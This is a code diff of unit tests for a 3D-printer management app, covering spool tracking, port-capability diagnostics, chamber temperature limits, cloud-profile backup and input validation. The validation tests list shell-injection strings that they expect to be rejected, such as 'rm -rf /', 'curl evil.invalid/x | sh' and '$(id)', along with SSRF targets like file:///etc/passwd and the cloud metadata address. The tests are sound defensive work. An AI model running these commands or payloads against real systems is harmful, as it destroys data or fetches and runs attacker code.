+            result.scalar_one_or_none.return_value = next(rows, archive)
+            return result
+
+        db = AsyncMock()
+        db.execute = AsyncMock(side_effect=_next_row)
+        db.delete = AsyncMock()
+        db.commit = AsyncMock()
+
+        client = AsyncMock()
+        client.find_spool_by_tag = AsyncMock(side_effect=lambda tag: spool_by_tag.get(tag))
+        client.use_spool = AsyncMock()
+
+        pm = _patched_pm(state)
+
+        async def _go():
+            from backend.app.services.spoolman_tracking import report_usage
+
+            with (
+                patch("backend.app.services.spoolman_tracking.async_session", lambda: _AsyncCtx(db)),
+                patch("backend.app.api.routes.settings.get_setting", AsyncMock(return_value="true")),
+                patch(
+                    "backend.app.services.spoolman_tracking._get_spoolman_client_with_fallback",
+                    AsyncMock(return_value=client),
+                ),
+                patch("backend.app.services.spoolman_tracking._get_printer_serial", AsyncMock(return_value="SER")),
+                patch(
+                    "backend.app.services.spoolman_tracking._resolve_spool_id_via_slot_assignment",
+                    AsyncMock(return_value=None),
+                ),
+                patch("backend.app.services.printer_manager.printer_manager", pm),
+            ):
+                await report_usage(printer_id=1, archive_id=42)
+
+        return _go, client
+
+    @pytest.mark.asyncio
+    async def test_mqtt_mapping_charges_the_tray_the_printer_named(self):
+        """One-slot print whose filament actually came from AMS slot 4
+        (global tray 3). With no stored mapping the positional default charges
+        global tray 0 — the wrong spool, and the archive is then rewritten to
+        that spool's colour. The printer's mapping field says otherwise."""
+        tracking = SimpleNamespace(
+            filament_usage=[{"slot_id": 1, "used_g": 25.0, "type": "PLA", "color": "#FF0000"}],
+            ams_trays={
+                "0": {"tray_uuid": "TRAY0UUID", "tag_uid": "", "tray_type": "PLA"},
+                "3": {"tray_uuid": "TRAY3UUID", "tag_uid": "", "tray_type": "PLA"},
+            },
+            slot_to_tray=None,
+            tray_remain_start=None,
+            layer_usage=None,
+            filament_properties=None,
+        )
+        state = _state(mapping=[3])
+        spools = {
+            "TRAY0UUID": {"id": 100, "filament": {"color_hex": "FFFFFF", "material": "PLA"}},
+            "TRAY3UUID": {"id": 300, "filament": {"color_hex": "FF0000", "material": "PLA"}},
+        }
+        archive = SimpleNamespace(filament_color="#FF0000", filament_type="PLA")
+
+        run, client = self._run(tracking, state, spools, archive)
+        await run()
+
+        client.use_spool.assert_awaited_once_with(300, 25.0)
+        # And the visible half of the bug: the archive keeps the red it was
+        # printed in instead of being rewritten to the wrong spool's white.
+        assert archive.filament_color == "#FF0000"
+
+    @pytest.mark.asyncio
+    async def test_a_stored_mapping_is_never_second_guessed(self):
+        """Print start captured the real ams_mapping (LAN print, or a Bambuddy
+        queue job). That is the slicer's own instruction and outranks anything
+        read back off the printer, whose mapping field may still describe an
+        earlier job."""
+        tracking = SimpleNamespace(
+            filament_usage=[{"slot_id": 1, "used_g": 25.0, "type": "PLA", "color": "#FF0000"}],
+            ams_trays={
+                "0": {"tray_uuid": "TRAY0UUID", "tag_uid": "", "tray_type": "PLA"},
+                "3": {"tray_uuid": "TRAY3UUID", "tag_uid": "", "tray_type": "PLA"},
+            },
+            slot_to_tray=[0],
+            tray_remain_start=None,
+            layer_usage=None,
+            filament_properties=None,
+        )
+        state = _state(mapping=[3])
+        spools = {
+            "TRAY0UUID": {"id": 100, "filament": {"color_hex": "FFFFFF", "material": "PLA"}},
+            "TRAY3UUID": {"id": 300, "filament": {"color_hex": "FF0000", "material": "PLA"}},
+        }
+        archive = SimpleNamespace(filament_color="#FF0000", filament_type="PLA")
+
+        run, client = self._run(tracking, state, spools, archive)
+        await run()
+
+        client.use_spool.assert_awaited_once_with(100, 25.0)

Rozdílová data souboru nebyla zobrazena, protože soubor je příliš velký
+ 871 - 44
backend/tests/unit/services/test_virtual_printer.py


+ 112 - 2
backend/tests/unit/services/test_vp_diagnostic.py

@@ -3,12 +3,15 @@
 import tempfile
 from pathlib import Path
 from types import SimpleNamespace
-from unittest.mock import AsyncMock, patch
+from unittest.mock import AsyncMock, mock_open, patch
 
 import pytest
 
 from backend.app.services.virtual_printer.certificate import CertificateService
-from backend.app.services.virtual_printer.diagnostic import run_vp_diagnostic
+from backend.app.services.virtual_printer.diagnostic import (
+    can_bind_privileged_ports,
+    run_vp_diagnostic,
+)
 
 _DIAG = "backend.app.services.virtual_printer.diagnostic._check_port"
 _FIND_IFACE = "backend.app.services.network_utils.find_interface_for_ip"
@@ -165,3 +168,110 @@ class TestCaCertificateInfo:
             second = service.get_ca_certificate_info()
         assert first["fingerprint_sha256"] == second["fingerprint_sha256"]
         assert "PRIVATE KEY" not in first["pem"]
+
+
+class TestPrivilegedPortsCheck:
+    """#2549: the VP binds 990 (FTPS) and 322 (RTSP), both below 1024.
+
+    Without CAP_NET_BIND_SERVICE those sockets never open and the slicer never
+    sees the printer. The port probes alone report the same "nothing is
+    listening" as an ordinary port conflict, which is what sent the reporter to
+    Discord for days over one missing line in a systemd unit. This check names
+    the cause — but only when a port actually failed, since the capability can
+    legitimately be absent on a host that fronts 990 some other way.
+    """
+
+    _CAP = "backend.app.services.virtual_printer.diagnostic.can_bind_privileged_ports"
+
+    @pytest.mark.asyncio
+    async def test_missing_capability_explains_a_dead_port(self):
+        with (
+            patch(_DIAG, AsyncMock(return_value=False)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=False),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        assert _checks(result)["privileged_ports"] == "fail"
+
+    @pytest.mark.asyncio
+    async def test_missing_capability_is_not_flagged_when_the_port_answers(self):
+        """An iptables REDIRECT is a documented alternative to the capability.
+        Flagging a setup that demonstrably works would be noise."""
+        with (
+            patch(_DIAG, AsyncMock(return_value=True)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=False),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        assert _checks(result)["privileged_ports"] == "pass"
+        assert result.overall == "ok"
+
+    @pytest.mark.asyncio
+    async def test_dead_port_with_the_capability_held_is_not_blamed_on_it(self):
+        """The port is down for some other reason — a conflict, a crashed
+        service. Saying "missing capability" here would misdirect the user."""
+        with (
+            patch(_DIAG, AsyncMock(return_value=False)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=True),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        c = _checks(result)
+        assert c["privileged_ports"] == "pass"
+        assert c["port_ftps"] == "fail"
+
+    @pytest.mark.asyncio
+    async def test_undeterminable_capability_skips(self):
+        """macOS / Windows have no procfs and no such capability model."""
+        with (
+            patch(_DIAG, AsyncMock(return_value=False)),
+            patch(_FIND_IFACE, return_value={"name": "eth0", "ip": "192.168.1.50"}),
+            patch(self._CAP, return_value=None),
+        ):
+            result = await run_vp_diagnostic(_vp(), _FakeInstance())
+        assert _checks(result)["privileged_ports"] == "skip"
+
+    @pytest.mark.asyncio
+    async def test_not_running_skips(self):
+        """Nothing was probed, so there is no failure to explain."""
+        result = await run_vp_diagnostic(_vp(), _FakeInstance(running=False))
+        assert _checks(result)["privileged_ports"] == "skip"
+
+
+class TestCanBindPrivilegedPorts:
+    def test_root_can(self):
+        with patch("os.geteuid", return_value=0):
+            assert can_bind_privileged_ports() is True
+
+    def test_effective_set_with_the_bit_set(self):
+        # CAP_NET_BIND_SERVICE is capability 10, so bit 10 => 0x400.
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", mock_open(read_data="Name:\tpython3\nCapEff:\t0000000000000400\n")),
+        ):
+            assert can_bind_privileged_ports() is True
+
+    def test_effective_set_without_the_bit_set(self):
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", mock_open(read_data="Name:\tpython3\nCapEff:\t0000000000000000\n")),
+        ):
+            assert can_bind_privileged_ports() is False
+
+    def test_neighbouring_bits_do_not_count(self):
+        """0x200 is capability 9 (CAP_NET_BROADCAST) and 0x800 is 11
+        (CAP_NET_ADMIN) — neither grants a privileged bind."""
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", mock_open(read_data="CapEff:\t0000000000000a00\n")),
+        ):
+            assert can_bind_privileged_ports() is False
+
+    def test_no_procfs_is_undeterminable_not_false(self):
+        """Returning False here would put a Linux-only fix instruction in front
+        of a macOS user whose port failed for an unrelated reason."""
+        with (
+            patch("os.geteuid", return_value=1000),
+            patch("builtins.open", side_effect=FileNotFoundError),
+        ):
+            assert can_bind_privileged_ports() is None

+ 66 - 0
backend/tests/unit/test_chamber_temp_ceiling.py

@@ -0,0 +1,66 @@
+"""The chamber-temperature ceiling is shared by every surface that accepts one.
+
+Reported on Discord: the preheat & heat-soak inputs capped at 60 °C, which put
+the top of the H2 series' range (65 °C) out of reach. The ceiling now lives in
+one place — ``MAX_CHAMBER_TEMP_C`` — and these tests pin both its value and the
+fact that each schema actually derives its bound from it rather than carrying a
+private literal that could drift back to 60.
+"""
+
+import pytest
+from pydantic import ValidationError
+
+from backend.app.schemas.print_queue import (
+    PrintQueueBulkUpdate,
+    PrintQueueItemCreate,
+    PrintQueueItemUpdate,
+)
+from backend.app.schemas.settings import AppSettingsUpdate
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
+
+# The H2 series (H2C / H2D / H2D Pro / H2S) and X2D heat the chamber to 65 °C.
+# X1E stops at 60 and clamps in firmware. Hard-coded here on purpose: if the
+# constant moves, that should be a deliberate edit, not a silent one.
+EXPECTED_CEILING = 65
+
+# (schema, kwargs the schema requires beyond the field under test)
+OVERRIDE_SCHEMAS = [
+    (PrintQueueItemCreate, {}),
+    (PrintQueueItemUpdate, {}),
+    (PrintQueueBulkUpdate, {"item_ids": [1]}),
+]
+
+
+def test_ceiling_is_65():
+    assert MAX_CHAMBER_TEMP_C == EXPECTED_CEILING
+
+
+@pytest.mark.parametrize("schema,required", OVERRIDE_SCHEMAS)
+def test_override_accepts_the_ceiling(schema, required):
+    model = schema(preheat_chamber_target_override=MAX_CHAMBER_TEMP_C, **required)
+    assert model.preheat_chamber_target_override == MAX_CHAMBER_TEMP_C
+
+
+@pytest.mark.parametrize("schema,required", OVERRIDE_SCHEMAS)
+def test_override_rejects_above_the_ceiling(schema, required):
+    with pytest.raises(ValidationError):
+        schema(preheat_chamber_target_override=MAX_CHAMBER_TEMP_C + 1, **required)
+
+
+@pytest.mark.parametrize("schema,required", OVERRIDE_SCHEMAS)
+def test_override_still_accepts_zero(schema, required):
+    """0 is "no chamber phase, even if the filament map wants one" — raising
+    the ceiling must not disturb the low end."""
+    model = schema(preheat_chamber_target_override=0, **required)
+    assert model.preheat_chamber_target_override == 0
+
+
+def test_chamber_presets_accept_the_ceiling():
+    payload = f"[35, 45, {MAX_CHAMBER_TEMP_C}]"
+    assert AppSettingsUpdate(chamber_temp_presets=payload).chamber_temp_presets == payload
+
+
+def test_chamber_presets_reject_above_the_ceiling():
+    with pytest.raises(ValidationError) as exc:
+        AppSettingsUpdate(chamber_temp_presets=f"[35, 45, {MAX_CHAMBER_TEMP_C + 1}]")
+    assert f"[0, {MAX_CHAMBER_TEMP_C}]" in str(exc.value)

+ 77 - 0
backend/tests/unit/test_compose_dir_setting.py

@@ -0,0 +1,77 @@
+"""``docker_compose_dir`` validation (#2664, reporter pchulpjoost).
+
+This setting is not consumed by Bambuddy at all — it is interpolated into a
+shell command that the Settings page invites the user to copy and paste into a
+root-capable terminal. That inverts the usual threat model for a string
+setting: the danger is not what the server does with the value, it is what the
+*admin* does with it after the copy button hands it over. Anyone holding
+settings:update could otherwise plant a destructive one-liner behind a control
+whose whole purpose is "paste this into your shell".
+"""
+
+import pytest
+from pydantic import ValidationError
+
+from backend.app.schemas.settings import AppSettingsUpdate
+
+
+class TestComposeDirValidation:
+    @pytest.mark.parametrize(
+        "value",
+        [
+            "/opt/bambuddy",
+            "/srv/stacks/bambu buddy",  # spaces are legal; the frontend quotes them
+            "C:\\Users\\martin\\bambuddy",
+            "~/bambuddy",
+            "/home/martin/3D-Druck/bambuddy",  # non-ASCII path components
+            "",
+        ],
+    )
+    def test_accepts_real_paths(self, value: str):
+        assert AppSettingsUpdate(docker_compose_dir=value).docker_compose_dir == value.strip()
+
+    @pytest.mark.parametrize(
+        "value",
+        [
+            "/opt/bambuddy; rm -rf /",
+            "/opt/bambuddy && curl evil.invalid/x | sh",
+            "/opt/bambuddy`id`",
+            "/opt/bambuddy$(id)",
+            "/opt/bambuddy | tee /etc/passwd",
+            '/opt/bambuddy" && echo pwned && echo "',
+            "/opt/bambuddy\nrm -rf /",
+        ],
+    )
+    def test_rejects_shell_metacharacters(self, value: str):
+        """Every one of these renders as a plausible-looking update command
+        that does something else entirely when pasted."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir=value)
+
+    def test_rejects_absurd_length(self):
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir="/opt/" + "a" * 600)
+
+    def test_none_is_untouched(self):
+        """None means "not part of this PATCH" — distinct from "" ("clear it")."""
+        assert AppSettingsUpdate().docker_compose_dir is None
+
+    @pytest.mark.parametrize("char", ['"', "$", "`"])
+    def test_characters_that_would_escape_the_frontend_quoting_are_rejected(self, char: str):
+        """The frontend wraps a value containing a space in double quotes, which
+        is safe only because nothing that is special inside double quotes can
+        survive this validator. Pinned here so loosening the pattern without
+        revisiting the quoting fails loudly."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir=f"/opt/bam {char} buddy")
+
+    def test_trailing_backslash_rejected(self):
+        """The last character that would still escape the closing quote:
+        `cd "/opt/bam buddy\\"` swallows the rest of the command."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir="C:\\bam buddy\\")
+
+    def test_windows_path_without_trailing_separator_survives(self):
+        assert AppSettingsUpdate(docker_compose_dir="C:\\Users\\martin\\bambuddy").docker_compose_dir == (
+            "C:\\Users\\martin\\bambuddy"
+        )

+ 290 - 0
backend/tests/unit/test_external_camera_ssrf.py

@@ -0,0 +1,290 @@
+"""The RTSP camera paths must not become a request generator for arbitrary hosts.
+
+`_sanitize_camera_url` is the SSRF boundary for user-configured camera URLs. It
+was applied to the MJPEG and snapshot paths but not to the two RTSP ones, which
+handed the URL to `ffmpeg -i` unchecked — and ffmpeg's `-i` speaks http, tcp,
+file and everything else it was built with, so `camera_type=rtsp` was a way to
+name any destination and any protocol.
+
+Wiring the guard in is only half of it. The guard rebuilt URLs from
+`parsed.hostname`, which drops credentials and unbrackets IPv6 literals, and it
+recognised loopback by comparing against four spellings of it. So these tests
+pin three things at once: the RTSP paths refuse what they should, the guard
+recognises a destination however it is written, and a real camera — which
+usually means an authenticated one — still works.
+"""
+
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+from backend.app.services.external_camera import (
+    _blocked_host_reason,
+    _capture_rtsp_frame,
+    _safe_usb_device_path,
+    _sanitize_camera_url,
+    _stream_rtsp,
+)
+
+RTSP_SCHEMES = ("rtsp", "rtsps")
+HTTP_SCHEMES = ("http", "https")
+
+
+class TestTheHostsWeRefuse:
+    """Loopback, the unspecified address and link-local, however they are spelled."""
+
+    @pytest.mark.parametrize(
+        "host",
+        [
+            "127.0.0.1",
+            "127.0.0.2",  # the whole 127/8 range, not just .1
+            "127.1",  # short form
+            "2130706433",  # decimal
+            "0177.0.0.1",  # octal
+            "0x7f.0.0.1",  # hex
+            "[::1]",
+            "[::ffff:127.0.0.1]",  # loopback wearing an IPv6 spelling
+            "localhost",
+            "sub.localhost",
+        ],
+    )
+    def test_loopback_is_refused(self, host):
+        assert _sanitize_camera_url(f"rtsp://{host}:554/live", RTSP_SCHEMES) is None
+
+    @pytest.mark.parametrize("host", ["0.0.0.0", "[::]"])  # nosec B104
+    def test_the_unspecified_address_is_refused(self, host):
+        assert _sanitize_camera_url(f"rtsp://{host}:554/live", RTSP_SCHEMES) is None
+
+    @pytest.mark.parametrize(
+        "host",
+        [
+            "169.254.169.254",  # AWS/GCP/Azure metadata
+            "169.254.1.1",  # the rest of the range, not just the metadata IP
+            "[fe80::1]",
+            "metadata.google.internal",
+            "metadata.google",
+        ],
+    )
+    def test_link_local_and_metadata_are_refused(self, host):
+        assert _sanitize_camera_url(f"rtsp://{host}/live", RTSP_SCHEMES) is None
+
+    def test_the_reason_is_reported_for_logging(self):
+        assert _blocked_host_reason("2130706433") == "loopback"
+        assert _blocked_host_reason("169.254.169.254") is not None
+        assert _blocked_host_reason("192.168.1.50") is None
+
+
+class TestTheCamerasWeAllow:
+    """LAN is allowed on purpose — that is where cameras are."""
+
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "rtsp://192.168.1.50:554/live",
+            "rtsp://10.0.0.5/stream1",
+            "rtsp://172.16.4.9:8554/cam",
+            "rtsp://[fd00::1]:554/live",  # unique-local IPv6
+            "rtsp://cam.lan/live",
+            "rtsps://camera.example.com:322/stream",
+        ],
+    )
+    def test_a_camera_url_survives(self, url):
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) is not None
+
+    def test_a_hostname_is_not_resolved(self):
+        """A name that would resolve to loopback still passes.
+
+        Not an oversight: aiohttp and ffmpeg resolve independently afterwards,
+        so a lookup here decides nothing (DNS rebinding) while costing a DNS
+        round trip on every capture. Pinned so the omission stays deliberate.
+        """
+        assert _sanitize_camera_url("rtsp://localtest.me/live", RTSP_SCHEMES) is not None
+
+
+class TestWhatTheGuardMustNotDestroy:
+    """Most RTSP cameras carry their login in the URL. Stripping it would turn
+    every one of them into an authentication failure — a worse outage than the
+    hole being closed."""
+
+    def test_credentials_survive(self):
+        url = "rtsp://admin:hunter2@192.168.1.50:554/live"
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) == url
+
+    def test_percent_encoded_credentials_survive_byte_for_byte(self):
+        """urlparse's .username/.password are already decoded, so rebuilding
+        from them would corrupt any password containing an @ or a :."""
+        url = "rtsp://ad%40min:p%3Ass%40word@192.168.1.50:554/live"
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) == url
+
+    def test_an_ipv6_literal_keeps_its_brackets(self):
+        """Without them the result is not a URL any client can parse."""
+        assert _sanitize_camera_url("rtsp://[fd00::1]:554/live", RTSP_SCHEMES) == "rtsp://[fd00::1]:554/live"
+
+    def test_http_cameras_keep_their_basic_auth_too(self):
+        url = "http://admin:hunter2@192.168.1.50/stream.mjpg"
+        assert _sanitize_camera_url(url, HTTP_SCHEMES) == url
+
+    def test_port_query_and_fragment_survive(self):
+        url = "rtsp://192.168.1.50:8554/live?channel=2&subtype=1#frag"
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) == url
+
+
+class TestSchemeAllowlist:
+    """What keeps an ffmpeg input a camera fetch rather than a fetch."""
+
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "http://192.168.1.50:8080/internal",
+            "https://192.168.1.50/internal",
+            "tcp://192.168.1.50:22",
+            "file:///etc/passwd",
+            "concat:/etc/passwd",
+            "udp://192.168.1.50:1234",
+            "ftp://192.168.1.50/x",
+        ],
+    )
+    def test_only_rtsp_reaches_the_rtsp_paths(self, url):
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) is None
+
+    def test_rtsp_does_not_reach_the_http_paths(self):
+        assert _sanitize_camera_url("rtsp://192.168.1.50/live", HTTP_SCHEMES) is None
+
+    @pytest.mark.parametrize("url", ["", "not a url", "rtsp://", "://192.168.1.50/x"])
+    def test_malformed_input_is_refused(self, url):
+        assert _sanitize_camera_url(url, RTSP_SCHEMES) is None
+
+
+def _fake_ffmpeg():
+    return patch("backend.app.services.external_camera.get_ffmpeg_path", return_value="/usr/bin/ffmpeg")
+
+
+def _spawn_spy(returncode: int | None = 0, stdout: bytes = b"\xff\xd8" + b"\x00" * 200):
+    """Stand in for the ffmpeg subprocess, recording the argv it was handed.
+
+    The streaming path reads until EOF, so stdout.read returns b"" and the
+    generator finishes immediately — these tests are about whether ffmpeg was
+    launched and with what, not about frame extraction.
+    """
+    process = MagicMock()
+    process.returncode = returncode
+    process.communicate = AsyncMock(return_value=(stdout, b""))
+    process.stdout.read = AsyncMock(return_value=b"")
+    process.stderr.read = AsyncMock(return_value=b"")
+    process.wait = AsyncMock(return_value=returncode)
+    process.kill = MagicMock()
+    process.terminate = MagicMock()
+    return patch(
+        "backend.app.services.external_camera.asyncio.create_subprocess_exec",
+        new=AsyncMock(return_value=process),
+    )
+
+
+class TestRtspCaptureRefusesUnsafeUrls:
+    """`_capture_rtsp_frame` — the one-shot path behind the test-connection
+    endpoint, which takes url and camera_type straight off the query string."""
+
+    @pytest.mark.asyncio
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "http://127.0.0.1:8080/internal-service",  # the reported PoC
+            "http://192.168.1.100:8080/any-image.jpg",
+            "file:///etc/passwd",
+            "rtsp://127.0.0.1:554/live",
+            "rtsp://2130706433:554/live",
+            "rtsp://169.254.169.254/live",
+        ],
+    )
+    async def test_no_process_is_spawned(self, url):
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            assert await _capture_rtsp_frame(url, timeout=5) is None
+        spawn.assert_not_awaited()
+
+    @pytest.mark.asyncio
+    async def test_a_real_camera_still_captures(self):
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            frame = await _capture_rtsp_frame("rtsp://admin:hunter2@192.168.1.50:554/live", timeout=5)
+
+        assert frame is not None
+        cmd = spawn.await_args.args
+        assert "rtsp://admin:hunter2@192.168.1.50:554/live" in cmd, (
+            "the camera's credentials must reach ffmpeg or every authenticated camera breaks"
+        )
+
+    @pytest.mark.asyncio
+    async def test_ffmpeg_is_confined_to_rtsp_protocols(self):
+        """Belt and braces behind the scheme check: a stream that references
+        something outside itself must not be able to pull it in."""
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            await _capture_rtsp_frame("rtsp://192.168.1.50:554/live", timeout=5)
+
+        cmd = spawn.await_args.args
+        whitelist = cmd[cmd.index("-protocol_whitelist") + 1].split(",")
+        assert "rtsp" in whitelist
+        assert "file" not in whitelist
+        assert "http" not in whitelist
+
+
+class TestRtspStreamRefusesUnsafeUrls:
+    """`_stream_rtsp` — the live-view path, and the one the report missed."""
+
+    @pytest.mark.asyncio
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "http://127.0.0.1:8080/internal-service",
+            "rtsp://127.0.0.1:554/live",
+            "rtsp://[::ffff:127.0.0.1]:554/live",
+            "file:///etc/passwd",
+        ],
+    )
+    async def test_no_process_is_spawned(self, url):
+        with _fake_ffmpeg(), _spawn_spy() as spawn:
+            frames = [frame async for frame in _stream_rtsp(url, fps=5)]
+
+        assert frames == []
+        spawn.assert_not_awaited()
+
+    @pytest.mark.asyncio
+    async def test_a_real_camera_still_reaches_ffmpeg(self):
+        with _fake_ffmpeg(), _spawn_spy(returncode=None) as spawn:
+            [frame async for frame in _stream_rtsp("rtsp://admin:hunter2@192.168.1.50:554/live", fps=5)]
+
+        spawn.assert_awaited_once()
+        cmd = spawn.await_args.args
+        assert "rtsp://admin:hunter2@192.168.1.50:554/live" in cmd
+        assert "-protocol_whitelist" in cmd
+
+
+class TestUsbDevicePaths:
+    """The USB paths take a device path from the same request field, and the
+    streaming one used to check only that it started with /dev/video."""
+
+    @pytest.mark.parametrize(
+        "device",
+        [
+            "/dev/video/../../etc/passwd",
+            "/dev/videos/../../etc/shadow",
+            "/dev/video0; rm -rf /",
+            "/etc/passwd",
+            "/dev/video100",  # three digits is not a device number
+            "",
+        ],
+    )
+    def test_a_path_that_is_not_a_device_node_is_refused(self, device):
+        assert _safe_usb_device_path(device) is None
+
+    def test_a_missing_device_is_refused(self):
+        """Existence is part of the check — ffmpeg must never be pointed at a
+        path just because it is shaped like one."""
+        with patch("backend.app.services.external_camera.Path") as path_cls:
+            path_cls.return_value.exists.return_value = False
+            assert _safe_usb_device_path("/dev/video0") is None
+
+    def test_the_path_is_rebuilt_from_the_device_number(self):
+        with patch("backend.app.services.external_camera.Path") as path_cls:
+            path_cls.return_value.exists.return_value = True
+            path_cls.return_value.__str__.return_value = "/dev/video7"
+            assert _safe_usb_device_path("/dev/video7") == "/dev/video7"
+        path_cls.assert_called_once_with("/dev/video7")

+ 509 - 0
backend/tests/unit/test_github_backup_cloud_profiles.py

@@ -0,0 +1,509 @@
+"""Cloud-profile collection for Git backup (#2717).
+
+The collector used to read a ``setting`` key the Bambu Cloud API never returns,
+so ``cloud_profiles/*`` was never written while ``backup_metadata.json`` claimed
+it was. It also asked for the auth-disabled credential store unconditionally,
+which meant it saw no accounts at all once auth was on. These tests pin the
+response shape it actually has to parse, the account enumeration, and the
+metadata now telling the truth.
+"""
+
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+from backend.app.models.settings import Settings
+from backend.app.models.user import User
+from backend.app.services.github_backup import GitHubBackupService
+
+# The real listing body: keyed by preset type, each holding private/public
+# lists. There is no top-level "setting" array, and the entries carry no "type"
+# of their own — the type is the outer key, and Bambu calls process "print".
+BAMBU_LISTING = {
+    "filament": {
+        "private": [
+            {"setting_id": "PFUS1", "name": "My PLA", "version": "1.0", "user_id": "u-123"},
+        ],
+        "public": [
+            {"setting_id": "GFSA00", "name": "Bambu PLA Basic", "version": "1.0"},
+        ],
+    },
+    "printer": {
+        "private": [{"setting_id": "PMUS1", "name": "My X1C", "version": "1.0"}],
+        "public": [],
+    },
+    "print": {
+        "private": [{"setting_id": "PSUS1", "name": "My 0.2mm", "version": "1.0"}],
+        "public": [],
+    },
+}
+
+
+def _detail(setting_id: str, name: str, base: str) -> dict:
+    return {
+        "setting_id": setting_id,
+        "name": name,
+        "type": "filament",
+        "version": "1.0",
+        "base_id": base,
+        "filament_id": "P1234",
+        "setting": {"filament_flow_ratio": ["0.98"]},
+    }
+
+
+def _bambu_cloud(listing=None, detail_side_effect=None):
+    cloud = MagicMock()
+    cloud.is_authenticated = True
+    cloud.get_slicer_settings = AsyncMock(return_value=listing if listing is not None else BAMBU_LISTING)
+    cloud.get_setting_detail = AsyncMock(
+        side_effect=detail_side_effect or (lambda sid: _detail(sid, f"detail-{sid}", "GFSA00")),
+    )
+    cloud.close = AsyncMock()
+    return cloud
+
+
+def _orca_service(profiles):
+    svc = MagicMock()
+    svc.list_profiles = AsyncMock(return_value=profiles)
+    svc.close = AsyncMock()
+    return svc
+
+
+@pytest.fixture
+def service():
+    return GitHubBackupService()
+
+
+class TestCloudAccountEnumeration:
+    """Which accounts a backup collects from."""
+
+    @pytest.mark.asyncio
+    async def test_auth_disabled_uses_the_global_store(self, service, db_session):
+        """With auth off there is no User row at all — credentials live in the
+        Settings table and the account is keyed ``global``."""
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=("bambu-token", "a@b.c", "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            bambu, orca = await service.cloud_accounts(db_session)
+
+        assert bambu == [("global", None)]
+        assert orca == []
+
+    @pytest.mark.asyncio
+    async def test_auth_enabled_finds_every_user_holding_a_token(self, service, db_session):
+        """The bug that made this invisible: with auth on, tokens live on User
+        rows, and the collector only ever looked at the global store. Each cloud
+        is enumerated separately so a user connected to one shows up only there.
+        """
+        both = User(username="both", cloud_token="t1", orca_cloud_token="o1")
+        bambu_only = User(username="bambu-only", cloud_token="t2")
+        orca_only = User(username="orca-only", orca_cloud_token="o2")
+        neither = User(username="neither")
+        db_session.add_all([both, bambu_only, orca_only, neither])
+        await db_session.commit()
+
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=(None, None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            bambu, orca = await service.cloud_accounts(db_session)
+
+        assert sorted(key for key, _ in bambu) == [f"user-{both.id}", f"user-{bambu_only.id}"]
+        assert sorted(key for key, _ in orca) == [f"user-{both.id}", f"user-{orca_only.id}"]
+
+    @pytest.mark.asyncio
+    async def test_global_and_per_user_accounts_coexist(self, service, db_session):
+        """A Settings row survives someone enabling auth later. Dropping it
+        would silently stop backing up that account's presets."""
+        db_session.add(User(username="u", cloud_token="t1"))
+        await db_session.commit()
+
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=("legacy-global", None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            bambu, _orca = await service.cloud_accounts(db_session)
+
+        assert "global" in [key for key, _ in bambu]
+        assert len(bambu) == 2
+
+
+class TestBambuCollection:
+    @pytest.mark.asyncio
+    async def test_reads_the_shape_the_api_actually_returns(self, service, db_session):
+        """The whole bug in one assertion: presets come out of
+        ``data[type]["private"]``, not a flat ``setting`` list, and ``print``
+        maps to ``process``."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            counts = await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        assert counts == {"filament": 1, "printer": 1, "process": 1}
+        assert set(files) == {
+            "cloud_profiles/bambu/global/filament.json",
+            "cloud_profiles/bambu/global/printer.json",
+            "cloud_profiles/bambu/global/process.json",
+        }
+
+    @pytest.mark.asyncio
+    async def test_public_presets_are_not_backed_up(self, service, db_session):
+        """Bambu's bundled catalogue is identical for everyone, re-downloadable,
+        and not recreatable under your account — backing it up would churn the
+        repository on every run for no recovery value."""
+        files: dict = {}
+        with patch(
